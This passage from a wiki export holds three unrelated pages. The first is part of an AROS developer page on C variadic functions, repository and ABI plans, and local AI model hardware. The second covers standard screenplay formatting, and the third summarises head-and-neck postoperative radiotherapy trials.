...which is part of the compiler's default include paths. In other words, #include &lt;stdarg.h&gt; works out of the box, indeed. (sorry, I should have just tried it before invoking &quot;search&quot; or &quot;find&quot;...)

furthermore, myprintf() as shown above won't work, because...

 printf(format, args);

...is wrong - the second argument does not match printf() prototype, it expects a argument list, but args is of type va_list (obviously) - so one has to use...

 vfprintf(stdout, format, args);

...instead, just like in the original printf(), and add fflush(stdout).

additionally, one could use...

 int myarg = va_arg(args, int);

...between va_start() and va_end() to access individual arguments, where each call to va_arg() returns an argument casted to the desired type (here: &quot;int&quot;) from the list given (here: &quot;args&quot;) and advances to the next one.

wrapping up vfprintf() and modifying the format string now is a major speedup! no more backslash-n typing! this has been haunting me for years!

On MOS and AmigaOS, the NewObject variadic function is kept in the static library. It takes most of the parameters on the stack - thanks to that the implementation of NewObject calls the NewObjectA function. Everything works perfect, and the typical MUI macros may be easily used.

This, however, is not the case when you compile for AROS. Here, NewObject is a variadic macro, not a function. Thanks such approach we do not need any custom compiler in case of systems, where the arguments of variadic functions are passed partially through registers and partially through the stack (This is the case of PPC and x86_64, this is also the reason why both OS4 and MOS require specially patched compilers).

Since NewObject is a macro, the gcc's preprocessor expects the list of macros arguments enclosed within parentheses. In MUI macros it is not the case. Imagine the following test code:

&lt;pre&gt;
#define foo(a,b) ((a)+(b))

int loosy_function(int a, int b)
{
    return foo(a,b);
}
&lt;/pre&gt;

This will compile and work, but the following piece of code:

&lt;pre&gt;
#define foo(a,b) ((a)+(b))
#define END )

int loosy_function(int a, int b)
{
    return foo(a,b END;
}
&lt;/pre&gt;

will fail with the error: unterminated argument list invoking macro &quot;foo&quot;

There are two ways of fixing your issue. Either create your new objects outside this huge MUI constructions, and in there use just a pointer, or get rid of the &quot;End&quot; macro and exchange it with &quot;TAG_DONE)&quot;.


Badly written software is, for example, casting va_list to an APTR or even doing so as if va_list were a plain table of function arguments. Such code needs to be fixed because it has very few chances to work anywhere but on author's machine ;)

The problem is nOt that they assume sizeof(APTR) == 4, its that they often do not use APTR, and use ULONG to store pointers exclusively. If the code used APTR/IPTR as it should - most of the &quot;problems&quot; wouldn't exist.

It would also help if people would start using variadic arguments properly. Many coders do assumptions which shall never be made. Instead, they should consider using stdarg.h file and all the va_* functions :)

===ABI===

In the head of our SVN repository there are now only 3 directories:

&lt;pre&gt;
admin/
branches/
trunk/
&lt;/pre&gt;

We have added two extra dirs there: tags and imports

As discussed when we branch ABI V0 and [[Aros/Developer/ABIv1|ABI V1]] it would also be good to introduce tags. Normally this is done in a directory in the repository called tags. Currently we don't have this directory there. (We do have branches/tags that is a hack I have done because one doesn't have write access in the top directory. I think this directory is not clean and should be removed).

The second directory I would introduce is an imports directory for implementing vendor branches as discussed in the svn [http://svnbook.red-bean.com/en/1.5/svn.advanced.vendorbr.html book]. Currently we use code from several different projects and that code is stored inside the AROS tree; we seem to have problems with keeping this code up to date and merge our changes upstream. Maintainers of up stream projects like the MUI classes etc. have complained about this (to put it lightly).

Introducing these vendor branches would make it easier to see what changes we have made and make patches to be sent upstream and make it easier to import newer upstream versions of their code. Although can't &quot;copy&quot; the vendor branch into the main branch because it's already there, so start with a &quot;merge&quot;.

Yes, the first step to make the code already in the repository compatible with the vendor branches will be the most difficult. The best way to do it the following way:

* first import the version on which the current AROS code is based into the vendor branch
* then import the new version over it in the vendor branch
* finally merge the difference between these two version in the AROS code present in the repository.

For example, place NList directly under vendor and not in a subdirectory like &quot;contrib/zune/classes&quot;.

Actually after we have a stable [http://aros.sourceforge.net/documentation/developers/specifications/drafts/abiv1.php ABIv1 (2012 or later)]. We need to move away as much as possible from the contrib directory to some other repositories. The reasons are ...

* The AROS repository should be for the core AROS code.
* other contrib projects should be tried to be compiled for all Amiga-like OSes.
* The release scheme for AROS and the other programs should not have to be aligned.
* Binary versions should be provided on aros-archives and on aminet and/or OS4Depot to install them. (Some clever programs should maybe be provided to make the life of distribution developers easier). 
* avoid parallel forks of programs for AROS and the other amiga OSes.

If there is really a need for a place for hosting AROS projects we may investigate setting up such a server but then including bug tracking, governance, maillist, etc. for each project separately. I personally think there are already enough places like sourceforge, google code, savannah, etc. where people can go for hosting such projects.

==Links==

* http://amigadocs.hokstad.com
* http://amigadocs.hokstad.com/doku.php?id=dev-links


 In the future...?
*AROS 64bit - SMP, Vulkan with OpenGL compability layer
*AROS 32bit - keep for historic reasons 

What would you like to see implemented in AROS?
ABIv1 completed, SMP (x86_64),  SendMsg()/GetMsg() to support memory protection between target and destination, in that order.   Michal Schulz and Jason McMullan have been toying with the question &quot;What are the minimal changes needed to the AmigaOS 3.1 API to support SMP&quot;?  The answer so far seems to be &quot;few, but subtle&quot;.  For example, SysBase-&gt;ThisTask is no longer meaningful on SMP, but FindTask(NULL) is.  Disable() and Forbid() are shockingly bad on performance, but adding a spinlock semaphore mode to SignalSemaphore will help new code on SMP.  

Leveraging a 'common' OS with a lot of machine support (Linux, MacOS, Windows, QNX, etc.) is something that AROS has been doing for quite a long time, and it is the biggest strength of AROS. This AROS experience and programming model, in the same way the Google's Android layers on top of Linux, or MacOS X layers on top of the Darwin/BSD kernel, as a first step 

* The graphics + layers subsystem could be implemented as a shim on top of a OpenGL ES implementation (ie on any modern Linux system, or the RaspberryPI's hardware, MacOS X, etc). 
  - This also allows every window to be on its own 3D surface with backing store, allowing Wanderer (or a Commodity)
rearrange/zoom/animate app windows without having to send a pile or refreshes to them

* Use OpenAL as the sound backend
* AROSTCP would be a thin layer over the native OS's TCP/IP stack
* dos.library, poseidon.library, and input.device would be slim shims over the native APIs
* If we move to loading all libraries' into the application's task space, instead of a single global instance of the library, this will allow SMP and MMU more easily. 
  - Yes, it will require a lot of work in the libraries to make this transition
  - Yes, I do think it will be worth it in the end.

* A 'fat binary' install format (or, maybe LLVM bytecode) that can be 'flattend' to the target architecture on installation.

So, what would this 'AROS of the future' look like?

* AmigaOS 3.x style API, with certain 'fundamental changes' to message passing
* Uses the underlying OS' device drivers, so more AROS developer effort can go to user-visible features and bugfixes 
* Allows AROS applications to run side-by-side with the OS's native apps


And why would anyone want to program on such a system?

* AROS applications would run on any system that has the AROS Framework installed
* AROS applications are pixel-for-pixel the same on all platforms. 
* Develop with the knowledge that you are guaranteed OpenGL and OpenAL, and the rest of the AROS Framework

an option for mmake to dump its dependency of metatarget in a graphviz[*] input file. This should make it possible to visualize the dependencies and hopefully be inspiration for cleaning up some mess, circular or unneeded dependencies and so on.


AmigaOS gcc 9 [https://franke.ms/amiga/gcc.wiki Old versions] able to create binaries for AmigaOS and [https://eab.abime.net/showthread.php?t=93813 Upgrading gcc versions] 


=== AI ===

Please see discussion of the [https://arosworld.org/infusions/forum/viewthread.php?thread_id=1933&amp;rowstart=0 Aros world thread] [https://opencode.ai/ opencode], [https://openrouter.ai/models?categories=programming new opencode models], [https://axrt.org/media/aros-ui-ai.mp4 AI ui], 

*DeepSeek V4 Flash - very good model, use it daily but prehaps a small monthly fee payable 
*Ring 2.6 - good model but pricing small                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   


                  Multimodal
                   Context
                   Prompt
                    &lt;---
  Model &lt;---&gt; Agent ---&gt; End user
 engine 

 Gemini      LMStudio
  Qwen       Comfyui
   etc


Recent, self hosting local models on laptops, mini pcs, laptops or desktops with [https://www.youtube.com/watch?v=oqvZJf5Vz7U quantization] (compressed) so reducing memory to run on 8Gb VRAM (very low size models) but for better performance more VRAM is needed for text based tasks. For smaller models, very specific prompting and chatting (iterations) for very smaller sections of your overall application as lots of supervision needed for the code produced 


Ability increases by the amount of ram (more for better quality) and the memory bandwidth (how fast) but 

Total VRAM should be greater than Model size (in Gbytes), context length (you set Gbytes taken) and KV cache - everything a trade off 

&lt;pre&gt;
Small   Limited Okay  Better   Bigger  Best 
 1-2B     3B     7B     20B     30B          model size 
  Q2      Q2     Q4     Q6       Q8          compressing 
 4GB     8GB    16GB   32GB     64GB         VRAM needed 
&lt;/pre&gt;


Roughly...
*DDR4 Pi5    about 17GB/s 
*DDR5        about 40Gb/s 
*DDR6        about 90Gb/s about Jetson Orin Nano level 
*Strix Halo  about 210Gb/s 
*DGX Spark   about 220Gb/s
* MacBook M3 base 100GB/s Pro 150GB/s Max 200Gb/s unified memory 
* MacBook M4 base 120Gb/s Pro 170Gb/s Max 250Gb/s 
* MacBook M5 base 140Gb/s 
* MacBook M6 base 160Gb/s Pro 180Gb/s Max 
* [https://www.youtube.com/watch?v=jMnMrivvAWo Mac Studio] Max 400Gb/s to Ultra 800Gb/s 


*[https://lmstudio.ai/download LMstudio single gpu],

 128Gb 
*[ gpt-oss-120b] 70Gb model  

 64Gb 
*[HauHau 3.6 35B] 

*[ muse-glimmer]

 32Gb 
Alibaba Cloud's [ Qwen] team series of large language models LLMs 
*[ Qwen-3.8-27B] 
*[ Qwen-3.6-27B] 

 16Gb
*[ Qwen 3.8 27B GSQ ACO GGUF]
*[ Yue2 music creation] 
*[ Suno]

 8Gb 
*[ glm-ocr]
*[ medGemma]
*[ qwen 3.5-4b]
*[https://github.com/sipeed/picoclaw picoclaw claude] 
*[ DeepSeek R1] 
*[ Qwen 3.5 9B Q4] 
*[ Qwen 2.5 14b Coder] 
*[ gpt-oss-20b 4Q] 


 Simple laptop 
*[ mini CPM5-2B] for simple user interfaces of single c file apps as long as robust explicit clear instruction given 


For the full experience 
#Training learning using 1+ high end GPUs at least 16GB VRAM per GPU card or 64Gb+ of unified, 16Core CPU with at least 64Gb of RAM system memory 
#Inference with custom asics or GPUs 


For ever bigger LLMs needs one of the below but with settings adjusting 
*[https://ollama.com/download Ollama single gpu]
*[https://github.com/ggml-org/llama.cpp/releases llama.CPP multi gpus],
*[ VLM multiple gpus], 


*[ MiniMax H3] for audio and video but gpu 8Gb+ 
*[https://github.com/ideogram-oss/ideogram4 ideogram4]
*[https://github.com/calesthio/OpenMontage OpenMontage]

*[https://github.com/jamiepine/voicebox voicebox]
*[ Chatterbox] with neural watermark 
*[ Index-TTS] 
*[ Qwen3-TTS]
*[ Omnivoice]
*[ faster-qwen3]
*[ dots.tts]


Multimedia 
*[ Kimi K3], 


 Refactor 
*[ Devstral-small-2 256K context] 


 FIM - Fill in the middle 
Mistral Codestral-2 for 64Gb+ unified 


&lt;pre&gt;
Text to Audio --\
Text to Video --/ Reference Video --&gt; Video and Audio output 
&lt;/pre&gt;


 Agent = Model + Harness 

 Agentic 

Harnesses like [ Claude Code] [ Cursor] [ ] could help models. [https://github.com/deepseek-ai/deepseek-harness Deepseek] etc allows many models to reside inside but also everything is a plugin, including the model adapter, the tool registry, the session log, and the agent loop itself, so each is replaceable from configuration 

MoE mixture of experts model 


==References==
{{reflist}}
{{status|50%}}

{{BookCat}}</text>
      <sha1>2gcprfa4cxd7r33rxhzzp0znwnzl4ea</sha1>
    </revision>
  </page>
  <page>
    <title>Movie Making Manual/Writing/Screenplay Format</title>
    <ns>0</ns>
    <id>21106</id>
    <revision>
      <id>4670467</id>
      <parentid>3824856</parentid>
      <timestamp>2026-09-16T16:43:49Z</timestamp>
      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
      </contributor>
      <minor />
      <comment>formated &gt; formatted</comment>
      <origin>4670467</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="15613" sha1="ah7gkrtexqtib6s09ukshdkv110urfn" xml:space="preserve">{{MMM devHeader}}

In the Motion Picture industry, screenplays are usually presented in a standardized format. This format has been developed over the years in the Hollywood studio system in order to approximate a rule of thumb of one script page equaling one minute of movie screen time. This &quot;Hollywood Standard&quot; format has become widely adapted and accepted worldwide due to the proliferation of screenwriting software such as Final Draft and Movie Magic. &lt;br&gt;&lt;br&gt; 
The main characteristics of this standard are:
* 3 holed Letter size 8.5&quot;x11&quot; paper (US and Canada) or [[w:A4 paper size|A4 paper format]] (rest of the world)
* Character names and Dialogue should be formatted to appear centered (see below)&lt;br&gt;&lt;br&gt;

Writers submitting their work to US based production companies are strongly advised to follow this standard as any deviation from it is often regarded as a sign of an amateur screenwriter. Many in the industry say they refuse to accept non-standard scripts but stories abound of writers with &quot;stunt submissions&quot; such as the one in 2004 at Cannes. Supposedly someone took a chance and printed their screenplay up like a paperback novel (bound with a fancy cover and everything) and even though the screenplay was no good the size was very popular (being less bulky than a conventional screenplay) and lots of people took copies and read them.  So some may conclude that sometimes breaking the rules works. However, as it was pointed out, the screenplay in this case was no good, so it once again reinforced the commonly held preconception that fancy stunt submissions are usually done by amateurs, whereas professionals follow the standard format.


== Formats ==
=== Screenplay ===

Although some writers utilize their own modifications on the standard screenplay format, there is a basis upon which all feature film screenplays are formatted. 

The standard screenplay format is devised for simplicity of reading by many different departments in addition to roughly timing out to one minute of screen time for one page of script. 

Screenplays should be written in &lt;u&gt;'''twelve point Courier font'''&lt;/u&gt;. Twelve point Courier is an important component of the standard format for two reasons.  One is nostalgic (Courier font resembles the look of a page written on a mechanical typewriter), but the other reason is highly practical: Courier is a monospaced font meaning every glyph is the same width (as opposed to variable-width fonts, where the &quot;w&quot; and &quot;m&quot; are wider than most letters, and the &quot;i&quot; is narrower). With a monospaced font only a certain number of letters will fit on each row and each page, assuring uniformity of the format and achieving the one page per minute of screen time formula.  &lt;br&gt;&lt;br&gt;
Final Draft, the popular screenwriting software has developed their own Courier font, Courier Final Draft. This font was designed to mimic a PC Courier font on Mac computers to achieve further uniformity between the platforms.  There are no differences between the glyphs of Courier and Courier Final Draft and the two fonts are interchangeable on those platforms.&lt;br&gt;&lt;br&gt;
Utilizing any font other than twelve point Courier or Courier Final Draft will result in a screenplay that does not adhere to the standard format, does not approximate the one page per minute of screentime formula and therefore regarded as highly undesirable by producers. NOTE: The Courier New font alters the pitch of the typeface, taking up more space on the page and therefore altering the overall page count of a script document.  Courier New font is not recommended for screenwriters. 

Margins are generally set as such (spaces are assuming 12 point font at 72 spaces per line):
*Scene Number (if used) is 1.25 inches from the left edge or 13 &quot;spaces&quot; in
*Scene Heading 1.75 inches from the left edge or 19 spaces in 
*Action 1.75 inches from the left edge or 19 spaces in (cut off at 55 characters (including spaces) per line)
*Dialogue 2.75 inches from the left edge or 29 spaces in (cut off at 35 characters (including spaces) per line)
*Character name is centered on the page (about 43 spaces in)
*Parenthetical direction is 3.5 inches from the left or 36 spaces in (cut off at 16 characters (including spaces) per line)

==== Elements of the screenplay ====

Screenplays traditionally start with FADE IN in the upper left hand corner of the first page, immediately followed by the scene heading for the first location. 

'''SCENE HEADING (SLUG)'''
A scene heading always starts with a distinction whether the location of the scene is indoors or outdoors. INT. signifies an interior location whereas EXT. signifies an exterior location. These are always abbreviated and followed by a period and one blank space and then the name of the location where that scene takes place. Scene headings, also called slugs, are placed for each and every location in the screenplay, including all the various elements of a location. For example INT. OLD HOUSE LIVING ROOM might be followed by INT. OLD HOUSE KITCHEN if the characters or action moves to the kitchen.  It is not correct to have INT. OLD HOUSE and move characters from one room to the next within the same scene. Each room is treated as a separate location in the script because when the film is actually shot these sequences will most likely be shot out of order (all scenes in the kitchen will be shot together and all scenes in the living room will be shot together, possibly on different days) and, possibly, in completely different physical locations (the kitchen may be a practical location in an Old House, the living room might be built on a soundstage). Some writers like to put a hyphen between the main location and the sub location, IE: INT. OLD HOUSE - LIVING ROOM and INT. OLD HOUSE - KITCHEN, but this is not required. Following the location name is one or two hyphens (depending on writer's taste) and the time of day the scene takes place; DAY, NIGHT, DAWN, DUSK, EVENING or MOMENTS LATER, CONTINUOUS (if the scene is immediately after the following as in the characters walking from the living room to the kitchen in one conversation). After the Scene heading, there are two carriage returns (one blank space) and the ACTION begins. Scene headings are always in all capital letters.

'''ACTION'''
Action is the description of what is happening in the scene, IE: Mark walks into the living room from the kitchen and picks up his books. Action is always written in present tense (Mark walks, not Mark walked). Action is in non-indented paragraph/prose form and is the longest element on the page (spanning from the far left to the far right hand margins of the page). It is generally accepted that action should not be longer than 10 lines without a break. Action also describes the locations, as much as necessary. Action is always in traditional English upper/lowercase. There are two line breaks between the end of action and the name of a character speaking (one blank line between action and character name) or the beginning of a new scene (one blank line between the end of action and the scene heading for the next scene).

'''CHARACTER NAME'''
When dialogue is spoken, it is preceded by the name of the character speaking the dialogue. The Character Name is placed on its own line and centered on the page. It is always in capital letters. There are some modifiers that can be placed after the character name in parenthesis (separated by a single space). Voice Over (V.O.) IE: JOHN (V.O.) is dialogue that is presented on the film's audio track, but is not spoken by the character on screen. Voice Over can be a voice on a telephone or the sound of the character's own thoughts. Off Screen (O.S.) IE: JOHN (O.S.) is dialogue that is spoken by a character in or immediately near the physical location of the scene, but who is not visible on the screen in that shot or scene. This could be a character speaking from another room. There is only one line break after the character name before dialogue (no blank space).

'''DIALOGUE'''
Dialogue is the actual spoken words by the character. It is placed immediately under the centered character's name and indented considerably from the left hand side and slightly from the right to stand out on the page. Dialogue is presented in standard upper/lowercase text (ALL CAPS can signify extreme emphasis or SHOUTING). Underline and italics can be used for emphasis, but should be used sparingly. 

'''PARENTHETICAL DIRECTION'''
This is very brief (usually one or two words) of direction or clarification that is placed within a character's spoken dialogue. It is placed, indented from the dialogue, on a separate line and enclosed in parenthesis. Parenthetical direction is only specific to the speaking character (not to other characters in the scene) and should be extremely brief. It can indicate a parawr use, a direction of conversation to a different character in the scene, a notation on a specific emotion or intent in the following dialogue. Parentheticals are always in the middle of dialogue - dialogue never ends with a parenthetical direction. Parenthetical direction is usually written in all lowercase letters IE: (beat). After the dialogue ends, there are two line breaks (one blank space) between the next character name or action or a new scene heading.


Some standard format notes:
*The first time a character is introduced in action, their name is presented in ALL CAPITAL LETTERS to point out their introduction.
*Sound effects such as a phone RINGS or an alarm BEEPS are placed in all capital letters to point them out.
*Scene transitions such as DISSOLVE TO:, CUT TO:, FADE TO BLACK: are placed flush right, on their own line. They are placed at the end of a scene with one blank space before a new scene heading. Generally speaking, they should be used sparingly.

An HTML example of screenplay formatting (incorporating all of the above) can be found at:
[http://web.archive.org/web/20080802052432/http://www.oscars.org/nicholl/format_a.txt]

More notes on screenplay formatting can be found at:
[http://web.archive.org/web/20080822084909/www.oscars.org/nicholl/format.html Academy notes on Screenwriting Format]

=== Other Formats ===
* Television 
* Stage Play
* Radio Drama

== Process ==
=== Draft Script ===
=== Locking the Script ===
As part of the pre-production process, the script is going to be accepted and locked. This provides the basis for keeping everyone on the same page. A locked script means that the page numbers do not change. Every copy of the script will have the same page 10 because it will never change. As new material is added, sub pages (&quot;a&quot; pages) are added (10a, 10b, 10c and so forth). If significant deletions are made as to eliminate all the material on a page, it remains in the script as a blank page merely with the word &quot;OMITTED&quot; on it. In addition to page numbers, scene numbers are also locked and treated the same. If a scene is cut from the script, its number remains and the slug reads &quot;OMITTED&quot;; added scenes are sometimes identified with capital letters 101A, 101B, 101C and so forth. Sometimes additional scenes are numbered as in 101-1, 101-2 or 101.1, 101.2. Numbering is somewhat preferred as the traditional system for identifying coverage on slates while shooting a movie is to designate each new shot with a letter. Scene 101 may be one page in the script, but the final scene may be made up of 15 different camera angles. On the set, these will be designated on the slate and in continuity notes as 101a, 101b, 101c and so forth, so it can be confusing to see scene 101Aa, 101Ab. Each assistant director or unit production manager has their own system for locking the script and each script supervisor has their own system for designating shots on set. It's up to that team to coordinate how these numbers will be implemented.

=== Rewrites ===
Throughout the production process the script may need to be modified or re-written. Scenes are added, moved, deleted, or changed. 

The location supervisor reports that the restaurant location will not be available. The director confers with the writers and decides that the scene can take place in a park instead. 

This means the casting director doesn't need to cast a waiter for the scene, but a hot dog vendor and a street entertainer will be required.

The scene has moved from indoors to outdoors, different lights/film may be required. The DoP will need to know this.

The costume designer no longer needs to dress 40 extras in evening dinner attire.

It's very important for everyone to be on the same page; changes are usually printed on different color pages. For example, if everyone else is carrying light-blue scripts, and you have a pink script, then you've got a problem.

== Templates ==
*[https://medium.com/@fracassifa/screenplay-template-2b9517a1491a A free screenplay template for Apple Pages compiled according to Final Draft’s Cole &amp; Haag standard]
*[http://scr.9TimeZones.com/#x Snoozeletter MSWord 2002 + 97/2000/2003/2007 templates]
*[http://9TimeZones.com/scr2.htm LibreOffice + OpenOffice Screenwright(R) screenplay formatting templates] (FREE!)
*[https://docs.google.com/leaf?id=0By0iwtbXK9aZNDM1MDI4YzMtNWUwZS00OGM0LTg4YTMtZjcyYjQzNzM5MGI2&amp;hl=en_US/ LibreOffice, OpenDocument .odt Script - Screenplay template by Carlos] (Free)
*[http://www.aidtopia.com/software/scripttex/ ScriptTeX a free macro package for TeX users]
*[http://www.nongnu.org/screenplay/ Screenplay mode for Emacs]
*[http://johnaugust.com/2004/screenbox John August's CSS formatting for webpage screenwriting]
*[https://docs.google.com/templates?q=screenplay&amp;sort=user screenplay templates for Google docs]
*[http://www.abcguionistas.com/novel/plantilla.php European Screenplay template MSWord from abcguionistas] (in Spanish)

== Screenwriting Software ==

*[http://www.finaldraft.com/ Final Draft Screenwriting software]
*[http://www.literatureandlatte.com/ Scrivener Writing software]
*[http://www.screenplay.com Movie Magic Screenwriter ]
*[http://www.movieoutline.com Movie Outline Scriptwriting Software]
*[http://www.marinersoftware.com/sitepage.php?page=104 Montage Screenwriting Software ]
*[http://www.writerscafe.co.uk/ Writer's Cafe]
*[http://celtx.com/ Celtx screenwriting software]  (FREE!)
*[http://meta.wikimedia.org/wiki/ScreenPlay_Extension Wikimedia screenplay extension]
*[http://www.mindstarprods.com/cinergy/ScriptEditor.html Cinergy Script Editor] (FREE!)
*[http://www.plotbot.com/ Plotbot Online Script Editor] (FREE!)
*[http://www.zhura.com/ Zhura] - Features online collaboration. (FREE!)
*[http://www.trelby.org/ Trelby] - Simple, fast and elegantly laid out to make screenwriting simple.(FREE!)

* [[Movie Making Manual/Linux in film production#Scriptwriting|Linux]]
* [[Movie Making Manual/Mac in film production#Writing|Mac]]
* [[Movie Making Manual/Windows in film production#Scriptwriting|Windows]]

[[Image:Nuvola apps package wordprocessing.png|128px|right]]

== Lessons in Screenplay Formatting ==

* [[v:filmmaking|Wikiversity]] has a '''free''' lesson in [[v:Lesson:Formatting_the_script | Script Formatting]] for a very short motion picture.  The lesson uses the '''free''' demo version of [http://www.finaldraft.com Final Draft] (Macintosh or Windows version).  This lesson can be completed in less than two hours.  And you can earn points!

:Note:  While many of the lessons of Wikiversity Film School are not complete, this one is ready for you to begin immediately.  And it is fun.

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[[{{BOOKCATEGORY}}/Writing movies|{{SUBPAGENAME}}]]
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&lt;big&gt;'''Postoperative RT'''&lt;/big&gt;


==Surgical Technique==
*No universally accepted definition of &quot;resectable&quot; vs &quot;unresectable&quot; tumor
*Lymph node dissection classification ({{PMID|12117328}})
===Classification of Neck Dissection===
**&lt;u&gt;Radical neck dissection&lt;/u&gt;: all ipsilateral cervical LN groups from inferior border of mandible superiorly to clavicle inferiorly and from lateral border of sternohyoid muscle/hyoid bone/contralateral anterior belly of digastric muscle anteriorly to anterior border of trapezius posteriorly. All lymph nodes from Level I - V. Spinal accessory nerve, internal jugular vein, and sternocleidomastoid muscles are removed. No removal of suboccipital, periparotid, buccal, retropharyngeal, and paratracheal lymph nodes
**&lt;u&gt;Modified radical neck dissection&lt;/u&gt;: excision of all lymph nodes routinely removed by radical neck dissection with preservation of one or more nonlymphatic structures, ie, spinal accessory nerve, internal jugular vein, and/or sternocleidomastoid muscle.
**&lt;u&gt;Selective neck dissection&lt;/u&gt; (SND): cervical lymphadenectomy with preservation of 1 or more of the lymph node groups that are routinely removed in the radical neck dissection. The lymph node groups removed are based on the patterns of metastases, which are predictable relative to the primary site of disease
***Supraomohyoid neck dissection: SND I-III. Oral cavity cancers. In case of oral tongue, some recommend SND I-IV. For cancers involving midline, bilateral SND I-III
***Lateral neck dissection: SND II-IV. Oropharyngeal, hypopharyngeal, and laryngeal cancers. If retropharyngeal LNs, they can be dissected as well
***Posterolateral neck dissection: SND II-V. Cutaneous melanoma
***Anterior neck dissection: SND VI. Thyroid, larynx, hypopharynx
**&lt;u&gt;Extended neck dissection&lt;/u&gt;: removal of 1 or more additional lymph node groups or nonlymphatic structures, or both, not encompassed by the radical neck dissection. Examples of lymph node groups include the parapharyngeal (retropharyngeal), superior mediastinal, perifacial (buccinator), and paratracheal lymph nodes. Examples of nonlymphatic structures include the carotid artery, hypoglossal nerve, vagus nerve, and paraspinal muscles.


===Selective neck dissection===
*'''Goettingen, Germany, 2001''' (1986-1997) {{PMID|11226954}} -- &quot;Efficacy of selective neck dissection: a review of 503 cases of elective and therapeutic treatment of the neck in squamous cell carcinoma of the upper aerodigestive tract.&quot; (Ambrosch P, Otolaryngol Head Neck Surg. 2001 Feb;124(2):180-7.)
**Retrospective. 503 patients, selective neck dissection. pN0 49% vs pN+ 51%. Postop RT pN0 14% vs. pN+ 62%. Median F/U 3.4 years
**Outcome: 3-year RR pN0 5% vs. pN1 5% vs. pN2 12%. RT marginal benefit for pN1 and significant benefit for pN2 or ECE
**Conclusion: Results achieved with selective neck dissection compare favorably with reported modified radical neck dissection

===Cricopharyngeal myotomy===
*'''RTOG 85-30''' (1989-1994)
**Randomized. 125 patients. Arm 1) standard surgery vs. Arm 2) surgery + cricopharyngeal myotomy
**'''1999''' {{PMID|10488976}} -- &quot;Failure of cricopharyngeal myotomy to improve dysphagia following head and neck cancer surgery.&quot; (Jacobs JR, Arch Otolaryngol Head Neck Surg. 1999 Sep;125(9):942-6.)
***Outcome: No difference in oropharyngeal swallowing efficiency at 6 months
***Conclusion: No benefit for cricopharyngeal myotomy

==Surgery + Post-op RT vs Primary RT==
*'''RTOG; 1993''' (1985-1990) {{PMID|8262821}} &amp;mdash; &quot;Is a surgical resection leaving positive margins of benefit to the patient with locally advanced squamous cell carcinoma of the head and neck: a comparative study using the intergroup study 0034 and the Radiation Therapy Oncology Group head and neck database.&quot; Laramore GE et al. Int J Radiat Oncol Biol Phys. 1993 Dec 1;27(5):1011-6. 
**Compared pts treated on a prospective Intergroup study (surgical group) with pts from a historical database who received RT alone, matched for similar characteristics. 109 pts in the surgical group had positive margins and most received post-op RT.
**4-yr LRC 44% (positive margins) vs 24% (RT). No difference in MS or 4-yr OS. 
**Conclusion: incomplete surgery (+adjuvant RT) affords improved local control compared to RT alone

==Surgery + RT vs. Primary Chemo-RT==
*'''Singapore''' (1996-2000)
**Randomized. ''Stopped early due to slow accrual.'' 199 patients, resectable Stage III/IV SCHNC excluding NPC and salivary glands (larynx 32% (supraglottis 23%), oral cavity 27%, oropharynx 21%, hypopharynx 12%). T4 56%. Arm 1) surgery + adjuvant RT 60/30 vs. Arm 2) RT 66/33 + concurrent cisplatin 20 mg/m2 + 5-FU 1000 mg/m2 x2 cycles. 90% received at least 1 cycle of chemo
**'''2005''' {{PMID|16012523}} -- &quot;Surgery and adjuvant radiotherapy vs concurrent chemoradiotherapy in stage III/IV nonmetastatic squamous cell head and neck cancer: a randomised comparison.&quot; (Soo KC, Br J Cancer. 2005 Aug 8;93(3):279-86.) Median F/U 6 years
***Outcome: 3-year DFS: S+RT 50% vs. chemo-RT 40% (NS). Organ preservation (larynx/hypopharynx 68%, oropharynx 55%, oral cavity 21%, paranasal sinus 0%). Chemo-RT group had poor surgical salvage of 47%, with no long-term survivors
***Conclusion: Chemo-RT not superior to surgery+RT, but can be attempted for organ preservation in larynx, hypopharynx, and oropharynx


==Pre-op RT vs Post-op RT==
*Historically, pre-op RT was favored since it facilitated regression of tumor, and improved LRC over surgery alone
*However, morbidity of this approach lead to greater emphasis on post-op RT in 1960's and 1970's (see Fletcher {{PMID|13403033}} (1957), {{PMID|4190460}}(1970))
*Randomized trial RTOG 73-03 demonstrated significantly better LRC for post-op RT
*Please see [[Talk:Radiation_Oncology/Head_%26_Neck/Post-op|discussion tab]] for more trials


*'''RTOG 73-03''' (1973-1979)
**Randomized. 320 patients. Operable stage T2-T4 any N (but not fixed); oral cavity, oropharynx, supraglottic larynx, hypopharynx, or maxillary sinus. Arm 1) Pre-op RT 50 Gy vs. Arm 2) Post-op RT 60 Gy. In addition, OC and OP lesions may be randomized Arm 3) definitive RT 65-70 Gy, with surgery reserved for salvage (n=43). 
**'''5-years; 1987''' {{PMID|3449477}} &amp;mdash; &quot;Combined radiation therapy and surgery in the management of advanced head and neck cancer: final report of study 73-03 of the Radiation Therapy Oncology Group.&quot; (Kramer S et al. Head Neck Surg. 1987 Sep-Oct;10(1):19-30.) Median F/U 5 years
***Outcome: LRC post-op 65% vs pre-op 48% (SS). Higher rate of persistent disease and recurrence in pre-op. Trend toward improved survival, 38% vs 33% (p=0.1). 
***Toxicity: Complication rate similar. 
***Definitive RT arm: For OC and OP lesions (three-arm randomization), 4-yr OS pre-op 30% vs post-op 36% vs definitive 33% (NS), and LRC 43% vs 52% vs 38% (NS); however total number of patients was small
***Conclusion: Post-op RT superior to pre-op RT 
**'''10-years; 1999''' {{PMID|1993628}} &amp;mdash; &quot;Randomized study of preoperative versus postoperative radiation therapy in advanced head and neck carcinoma: long-term follow-up of RTOG study 73-03.&quot; (Tupchong L et al. Int J Radiat Oncol Biol Phys. 1991 Jan;20(1):21-8.)
***Only pre-op vs. post-op subset (n=277). Oral cavity (14%), oropharynx (17%), hypopharynx (43%), supraglottic larynx (26%) 
***Outcome: LRC pre-op 58% vs. post-op 70% (SS), &lt;2 years no difference (failures 59% vs. 58%), but marked &gt;2 years (failures 27% vs 8%); OS no difference due to late (&gt;2 years) deaths from DM and from second primaries
***Supraglottic larynx: LRC pre-op 53% vs. post-op 77% (SS); 78% failures &lt;2 years
***Toxicity: no difference
***Conclusion: Post-op RT better for LRC (especially in SGL), but no impact on OS due to distant failure and second primaries
